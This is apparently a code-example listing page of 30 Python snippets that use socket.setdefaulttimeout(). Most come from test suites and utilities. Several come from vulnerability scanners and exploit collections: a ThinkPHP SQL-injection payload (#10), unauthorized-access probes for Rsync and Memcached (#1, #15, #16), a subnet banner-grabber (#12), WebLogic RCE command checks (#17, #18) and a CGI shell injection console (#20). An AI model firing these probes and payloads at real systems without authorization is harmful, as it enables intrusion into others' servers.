Python socket.setdefaulttimeout() Examples

The following are 30 code examples of socket.setdefaulttimeout(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module socket , or try the search function .
Example #1
Source File: 30-rsync-unauthorized.py    From vulscan with MIT License 8 votes vote down vote up
def _verify(self):
        import socket

        #调用指纹方法
        result={}
        output = Output(self)
        message = ''

        try:
            s = socket.socket()
            socket.setdefaulttimeout(1)#两秒超时
            port = 873
            ip = self.url.split(':')[1].replace('/','')
            s.connect((ip, port))
            print('Rsync未授权访问')
            message = 'Rsync 873端口 未授权访问'
            result['VerifyInfo'] = {}
            result['VerifyInfo']['url'] = ip
            result['VerifyInfo']['Payload'] = message
        except Exception as e:
            print(e)
        s.close()
        print '[+]30 poc done'
        return self.save_output(result) 
Example #2
Source File: gitfollow.py    From gitfollow with MIT License 6 votes vote down vote up
def internet(host="8.8.8.8", port=53, timeout=10):
    """
    Check Internet Connections.
    :param  host: the host that check connection to
    :param  port: port that check connection with
    :param  timeout: times that check the connnection
    :type host:str
    :type port:int
    :type timeout:int
    :return bool: True if Connection is Stable
    >>> internet() # if there is stable internet connection
    True
    >>> internet() # if there is no stable internet connection
    False
    """
    try:
        socket.setdefaulttimeout(timeout)
        socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((host, port))
        return True
    except Exception as ex:
        return False 
Example #3
Source File: common.py    From aerospike-admin with Apache License 2.0 6 votes vote down vote up
def _collect_azure_data(cmd=''):
    azure_timeout = 1
    socket.setdefaulttimeout(azure_timeout)
    azure_metadata_base_url = 'http://169.254.169.254/metadata/instance?api-version=2017-04-02'
    out = "['Azure']"

    try:
        req = urllib.request.Request(azure_metadata_base_url, headers={"Metadata" : "true"})
        r = urllib.request.urlopen(req)

        if r.code == 200:
            rsp = r.read()
            rsp = rsp.decode("utf-8")
            jsonObj = json.loads(rsp)
            out += "\n" + "Requesting... {0} \n{1}  \t Successful".format(azure_metadata_base_url,
                                                                          json.dumps(jsonObj, sort_keys=True, indent=4, separators=(',', ': ')))
        else:
            rsp = " Not likely in Azure"
            out += "\n" + "Requesting... {0} \t FAILED {1} ".format(azure_metadata_base_url, rsp)

    except Exception as e:
        out += "\n" + "Requesting... {0} \t  {1} ".format(azure_metadata_base_url, e)
        out += "\n" + "FAILED! Node Is Not likely In Azure"

    return out, None 
Example #4
Source File: test_multiprocessing.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test_timeout(self):
        old_timeout = socket.getdefaulttimeout()
        try:
            socket.setdefaulttimeout(0.1)
            parent, child = multiprocessing.Pipe(duplex=True)
            l = multiprocessing.connection.Listener(family='AF_INET')
            p = multiprocessing.Process(target=self._test_timeout,
                                        args=(child, l.address))
            p.start()
            child.close()
            self.assertEqual(parent.recv(), 123)
            parent.close()
            conn = l.accept()
            self.assertEqual(conn.recv(), 456)
            conn.close()
            l.close()
            p.join(10)
        finally:
            socket.setdefaulttimeout(old_timeout)

#
# Test what happens with no "if __name__ == '__main__'"
# 
Example #5
Source File: option.py    From vulscan with MIT License 6 votes vote down vote up
def _setHTTPTimeout():
    """
    Set the HTTP timeout
    """

    if conf.timeout:
        infoMsg = "setting the HTTP timeout"
        logger.log(CUSTOM_LOGGING.SYSINFO, infoMsg)

        conf.timeout = float(conf.timeout)

        if conf.timeout < 3.0:
            warnMsg = "the minimum HTTP timeout is 3 seconds, pocsuite will going to reset it"
            logger.log(CUSTOM_LOGGING.WARNING, warnMsg)

            conf.timeout = 3.0
    else:
        conf.timeout = 30.0

    socket.setdefaulttimeout(conf.timeout) 
Example #6
Source File: common.py    From aerospike-admin with Apache License 2.0 6 votes vote down vote up
def _collect_gce_data(cmd=''):
    gce_timeout = 1
    socket.setdefaulttimeout(gce_timeout)
    gce_metadata_base_url = 'http://metadata.google.internal/computeMetadata/v1/instance/'
    out = "['GCE']"

    fields_to_ignore = ['attributes/']

    try:
        req = urllib.request.Request(gce_metadata_base_url, headers={"Metadata-Flavor" : "Google"})
        r = urllib.request.urlopen(req)

        if r.code == 200:
            rsp = r.read()
            gce_rsp = _get_gce_metadata(rsp, fields_to_ignore=fields_to_ignore)
            out += "\n" + "Requesting... {0} \n{1}  \t Successful".format(gce_metadata_base_url, gce_rsp)
        else:
            gce_rsp = " Not likely in GCE"
            out += "\n" + "Requesting... {0} \t FAILED {1} ".format(gce_metadata_base_url, gce_rsp)

    except Exception as e:
        out += "\n" + "Requesting... {0} \t  {1} ".format(gce_metadata_base_url, e)
        out += "\n" + "FAILED! Node Is Not likely In GCE"

    return out, None 
Example #7
Source File: diagnose.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 6 votes vote down vote up
def check_network(args):
    print('----------Network Test----------')
    if args.timeout > 0:
        print('Setting timeout: {}'.format(args.timeout))
        socket.setdefaulttimeout(10)
    for region in args.region.strip().split(','):
        r = region.strip().lower()
        if not r:
            continue
        if r in REGIONAL_URLS:
            URLS.update(REGIONAL_URLS[r])
        else:
            import warnings
            warnings.warn('Region {} do not need specific test, please refer to global sites.'.format(r))
    for name, url in URLS.items():
        test_connection(name, url, args.timeout) 
Example #8
Source File: qpartwrap.py    From codimension with GNU General Public License v3.0 6 votes vote down vote up
def downloadAndShow(self):
        """Triggered when the user wants to download and see the file"""
        url = self.selectedText.strip()
        if url.lower().startswith("www."):
            url = "http://" + url

        oldTimeout = socket.getdefaulttimeout()
        newTimeout = 5      # Otherwise the pause is too long
        socket.setdefaulttimeout(newTimeout)
        QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))

        try:
            response = urllib.request.urlopen(url)
            content = decodeURLContent(response.read())

            # The content has been read sucessfully
            mainWindow = GlobalData().mainWindow
            mainWindow.editorsManager().newTabClicked(content,
                                                      os.path.basename(url))
        except Exception as exc:
            logging.error("Error downloading '" + url + "'\n" + str(exc))

        QApplication.restoreOverrideCursor()
        socket.setdefaulttimeout(oldTimeout) 
Example #9
Source File: browser.py    From recon-ng with GNU General Public License v3.0 6 votes vote down vote up
def get_browser(self):
        '''Returns a mechanize.Browser object configured with the framework's global options.'''
        br = mechanize.Browser()
        # set the user-agent header
        br.addheaders = [('User-agent', self._global_options['user-agent'])]
        # set debug options
        if self._global_options['verbosity'] >= 2:
            br.set_debug_http(True)
            br.set_debug_redirects(True)
            br.set_debug_responses(True)
        # set proxy
        if self._global_options['proxy']:
            br.set_proxies({'http': self._global_options['proxy'], 'https': self._global_options['proxy']})
        # additional settings
        br.set_handle_robots(False)
        # set timeout
        socket.setdefaulttimeout(self._global_options['timeout'])
        return br 
Example #10
Source File: ThinkPHP-3.X-5.X-orderby-sql.py    From xunfeng_vul_poc with GNU General Public License v3.0 6 votes vote down vote up
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        flag = "GET /?order[updatexml(1,concat(0x3a,user()),1)]=1 HTTP/1.1"
        s.send(flag)
        time.sleep(1)
        data = s.recv(1024)
        s.close()
        if 'GET' in data:
            url = 'http://' + ip + ":" + str(port) + '/?order[updatexml(1,concat(0x3a,user()),1)]=1'
            request = urllib2.Request(url)
            res_html = urllib2.urlopen(request, timeout=timeout).read(204800)
            if 'root' in res_html:
                return u"ThinkPHP 3.X order by注入漏洞"


    except Exception, e:
        pass 
Example #11
Source File: SMWinservice.py    From biometric-attendance-sync-tool with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, args):
        '''
        Constructor of the winservice
        '''
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        socket.setdefaulttimeout(60) 
Example #12
Source File: banner_grabber.py    From pythonpentest with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def main():
    ports = [21,23,22]
    ips = "192.168.195."
    for octet in range(0,255):
        for port in ports:
            ip = ips + str(octet)
            #print("[*] Testing port %s at IP %s") % (port, ip)
            try:
                socket.setdefaulttimeout(1)
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((ip,port))
                output = s.recv(1024)
                print("[+] The banner: %s for IP: %s at Port: %s") % (output,ip,port)
            except:
                print("[-] Failed to Connect to %s:%s") % (ip, port)
            finally:
                s.close() 
Example #13
Source File: ElasticSearch 1.4.5 1.5.2 - Path Transversal.py    From fuzzdb-collect with GNU General Public License v3.0 6 votes vote down vote up
def pfind(plugin):
	try:
		socket.setdefaulttimeout(3)
		s = socket.socket()
		s.connect((host,port))
		s.send("GET /_plugin/%s/ HTTP/1.0\n"
			"Host: %s\n\n" % (plugin, host))
		file = s.recv(16)
		print "[*] Trying to find plugin %s:" % plugin
		if ("HTTP/1.0 200 OK" in file):
			print "[+] Plugin found!"
			grab(plugin)
			sys.exit()
		else:
		    print "[-]  Not Found "
	except Exception, e:
		print "[-] Error connecting to %s: %s" % (host, e)
		sys.exit()

# Include more plugin names to check if they are installed 
Example #14
Source File: agency_tools.py    From 12306 with MIT License 6 votes vote down vote up
def filter_proxy(self):
        """
        将不可用IP剔除
        :return: 
        """
        socket.setdefaulttimeout(1)
        path = os.path.join(os.path.dirname(__file__), './proxy_list')
        f = open(path, "w")
        head = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
            'Connection': 'keep-alive'}
        url = "http://icanhazip.com"
        proxy_num = 0
        for proxy in self.proxy_list:
            proxy_temp = {"https": "https://{}".format(proxy)}
            try:
                req = requests.get(url, proxies=proxy_temp, timeout=2, headers=head).content
                print(req)
                write_proxy = proxy + "\n"
                f.write(write_proxy)
                proxy_num += 1
            except Exception:
                print ("代理链接超时,去除此IP:{0}".format(proxy))
                continue
        print("总共可使用ip量为{}个".format(proxy_num)) 
Example #15
Source File: memcached_unauthorized_access.py    From Vxscan with Apache License 2.0 6 votes vote down vote up
def check(url, ip, ports, apps):
    if verify(vuln, ports, apps):
        socket.setdefaulttimeout(2)
        port = 11211
        payload = b'\x73\x74\x61\x74\x73\x0a'  # command:stats
        s = socket.socket()
        socket.setdefaulttimeout(5)
        try:
            s.connect((ip, port))
            s.send(payload)
            recvdata = s.recv(2048)  # response larger than 1024
            s.close()
            if recvdata and (b'STAT version' in recvdata):
                return '11211 Memcache Unauthorized Access'
        except Exception as e:
            print(e) 
Example #16
Source File: rsync_unauthorized_access.py    From Vxscan with Apache License 2.0 6 votes vote down vote up
def check(url, ip, ports, apps):
    if verify(vuln, ports, apps):
        try:
            socket.setdefaulttimeout(1.5)
            payload = b"\x40\x52\x53\x59\x4e\x43\x44\x3a\x20\x33\x31\x2e\x30\x0a"
            socket.setdefaulttimeout(timeout)
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_address = (ip, 873)
            sock.connect(server_address)
            sock.sendall(payload)
            initinfo = sock.recv(400)
            if b"RSYNCD" in initinfo:
                sock.sendall(b"\x0a")
            modulelist = sock.recv(200)
            sock.close()
            if len(modulelist) > 0:
                return '873 Rsync Unauthorized Access'
        except Exception as e:
            pass 
Example #17
Source File: linux_weblogic_rce_exp.py    From fuzzdb-collect with GNU General Public License v3.0 6 votes vote down vote up
def commandtool(self, host):
        try:
            socket.setdefaulttimeout(6)
            tempsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_address = (host, int(65500))
            tempsock.connect(server_address)
            # socket连接没有报错的话,说明socket服务器端口正常监听起来了.
            # bye 关闭socket,socket利用方式只在具有交互式条件下才能使用,这里用socket连接只为增强验证漏洞存在的准确性.
            tempsock.sendall("cmd:::whoami")
            time.sleep(1)
            data = tempsock.recv(2048).encode('gbk')
            print data.replace("\n", "")
            tempsock.close()
            time.sleep(1)
            tempsock.sendall('bye')
            time.sleep(2)
            data = tempsock.recv(1048).encode('gbk')
            if "success" == data:
                tempsock.close()
                return True
            else:
                tempsock.close()
            return True
        except Exception, e:
            return False 
Example #18
Source File: win_weblogic_rce_exp.py    From fuzzdb-collect with GNU General Public License v3.0 6 votes vote down vote up
def commandtool(self, host):
        try:
            socket.setdefaulttimeout(6)
            tempsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_address = (host, int(65500))
            tempsock.connect(server_address)
            # socket连接没有报错的话,说明socket服务器端口正常监听起来了.
            # bye 关闭socket,socket利用方式只在具有交互式条件下才能使用,这里用socket连接只为增强验证漏洞存在的准确性.
            tempsock.sendall("cmd:::whoami")
            time.sleep(1)
            data = tempsock.recv(2048).encode('gbk')
            print data.replace("\n", "")
            tempsock.close()
            time.sleep(1)
            tempsock.sendall('bye')
            time.sleep(2)
            data = tempsock.recv(1048).encode('gbk')
            if "success" == data:
                tempsock.close()
                return True
            else:
                tempsock.close()
            return True
        except Exception, e:
            return False 
Example #19
Source File: common.py    From aerospike-admin with Apache License 2.0 6 votes vote down vote up
def _collect_aws_data(cmd=''):
    aws_rsp = ''
    aws_timeout = 1
    socket.setdefaulttimeout(aws_timeout)
    aws_metadata_base_url = 'http://169.254.169.254/latest/meta-data'
    out = "['AWS']"
    try:
        req = urllib.request.Request(aws_metadata_base_url)
        r = urllib.request.urlopen(req)
        # r = requests.get(aws_metadata_base_url,timeout=aws_timeout)
        if r.code == 200:
            rsp = r.read()
            aws_rsp += _get_aws_metadata(rsp, '/')
            out += "\n" + "Requesting... {0} \n{1}  \t Successful".format(aws_metadata_base_url, aws_rsp)
        else:
            aws_rsp = " Not likely in AWS"
            out += "\n" + "Requesting... {0} \t FAILED {1} ".format(aws_metadata_base_url, aws_rsp)

    except Exception as e:
        out += "\n" + "Requesting... {0} \t  {1} ".format(aws_metadata_base_url, e)
        out += "\n" + "FAILED! Node Is Not likely In AWS"

    return out, None 
Example #20
Source File: cgishell.py    From CGIShell with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def main(url):
    # set default timeout 10s
    socket.setdefaulttimeout(10)

    f = Fetch(url.strip())
    print ':) URL: {0}'.format(f.fullurl)
    try:
        msg = f.injection('id')
    except InjectionFailed:
        print '*_* Injection Code Failed.'
        return 1
    except InjectionNetError:
        print '*_* Check the target server connection'
        return 1
    idinfo = msg.split(' ')[0].split('=')
    if len(idinfo) == 2:
        f.user = idinfo[1]
    else:
        f.user = idinfo[0]
    csc = CgiShellConsole()
    csc.set_fetch(f)
    sys.ps1 = '{0}@{1} >>'.format(f.host, f.user)
    csc.interact(':) Injection Code Success! Shell it.')
    return 0 
Example #21
Source File: package_index.py    From lambda-chef-node-cleanup with Apache License 2.0 5 votes vote down vote up
def socket_timeout(timeout=15):
    def _socket_timeout(func):
        def _socket_timeout(*args, **kwargs):
            old_timeout = socket.getdefaulttimeout()
            socket.setdefaulttimeout(timeout)
            try:
                return func(*args, **kwargs)
            finally:
                socket.setdefaulttimeout(old_timeout)
        return _socket_timeout
    return _socket_timeout 
Example #22
Source File: test_telnetlib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def testTimeoutNone(self):
        # None, having other default
        self.assertTrue(socket.getdefaulttimeout() is None)
        socket.setdefaulttimeout(30)
        try:
            telnet = telnetlib.Telnet(HOST, self.port, timeout=None)
        finally:
            socket.setdefaulttimeout(None)
        self.assertTrue(telnet.sock.gettimeout() is None)
        telnet.sock.close() 
Example #23
Source File: test_telnetlib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def testTimeoutDefault(self):
        self.assertTrue(socket.getdefaulttimeout() is None)
        socket.setdefaulttimeout(30)
        try:
            telnet = telnetlib.Telnet(HOST, self.port)
        finally:
            socket.setdefaulttimeout(None)
        self.assertEqual(telnet.sock.gettimeout(), 30)
        telnet.sock.close() 
Example #24
Source File: test_socket.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def testDefaultTimeout(self):
        # Testing default timeout
        # The default timeout should initially be None
        self.assertEqual(socket.getdefaulttimeout(), None)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), None)
        s.close()

        # Set the default timeout to 10, and see if it propagates
        socket.setdefaulttimeout(10)
        self.assertEqual(socket.getdefaulttimeout(), 10)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), 10)
        s.close()

        # Reset the default timeout to None, and see if it propagates
        socket.setdefaulttimeout(None)
        self.assertEqual(socket.getdefaulttimeout(), None)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), None)
        s.close()

        # Check that setting it to an invalid value raises ValueError
        self.assertRaises(ValueError, socket.setdefaulttimeout, -1)

        # Check that setting it to an invalid type raises TypeError
        self.assertRaises(TypeError, socket.setdefaulttimeout, "spam") 
Example #25
Source File: test_urllib2net.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_ftp_default_timeout(self):
        self.assertIsNone(socket.getdefaulttimeout())
        with test_support.transient_internet(self.FTP_HOST):
            socket.setdefaulttimeout(60)
            try:
                u = _urlopen_with_retry(self.FTP_HOST)
            finally:
                socket.setdefaulttimeout(None)
            self.assertEqual(u.fp.fp._sock.gettimeout(), 60) 
Example #26
Source File: test_urllib2net.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_ftp_no_timeout(self):
        self.assertIsNone(socket.getdefaulttimeout(),)
        with test_support.transient_internet(self.FTP_HOST):
            socket.setdefaulttimeout(60)
            try:
                u = _urlopen_with_retry(self.FTP_HOST, timeout=None)
            finally:
                socket.setdefaulttimeout(None)
            self.assertIsNone(u.fp.fp._sock.gettimeout()) 
Example #27
Source File: test_urllibnet.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def tearDown(self):
        socket.setdefaulttimeout(None) 
Example #28
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def testTimeoutAttribute(self):
        '''This will prove that the timeout gets through
        HTTPConnection and into the socket.
        '''
        # default -- use global socket timeout
        self.assertIsNone(socket.getdefaulttimeout())
        socket.setdefaulttimeout(30)
        try:
            httpConn = httplib.HTTPConnection(HOST, TimeoutTest.PORT)
            httpConn.connect()
        finally:
            socket.setdefaulttimeout(None)
        self.assertEqual(httpConn.sock.gettimeout(), 30)
        httpConn.close()

        # no timeout -- do not use global socket default
        self.assertIsNone(socket.getdefaulttimeout())
        socket.setdefaulttimeout(30)
        try:
            httpConn = httplib.HTTPConnection(HOST, TimeoutTest.PORT,
                                              timeout=None)
            httpConn.connect()
        finally:
            socket.setdefaulttimeout(None)
        self.assertEqual(httpConn.sock.gettimeout(), None)
        httpConn.close()

        # a value
        httpConn = httplib.HTTPConnection(HOST, TimeoutTest.PORT, timeout=30)
        httpConn.connect()
        self.assertEqual(httpConn.sock.gettimeout(), 30)
        httpConn.close() 
Example #29
Source File: test_poplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def testTimeoutDefault(self):
        self.assertIsNone(socket.getdefaulttimeout())
        socket.setdefaulttimeout(30)
        try:
            pop = poplib.POP3(HOST, self.port)
        finally:
            socket.setdefaulttimeout(None)
        self.assertEqual(pop.sock.gettimeout(), 30)
        pop.sock.close() 
Example #30
Source File: package_index.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def socket_timeout(timeout=15):
    def _socket_timeout(func):
        def _socket_timeout(*args, **kwargs):
            old_timeout = socket.getdefaulttimeout()
            socket.setdefaulttimeout(timeout)
            try:
                return func(*args, **kwargs)
            finally:
                socket.setdefaulttimeout(old_timeout)

        return _socket_timeout

    return _socket_timeout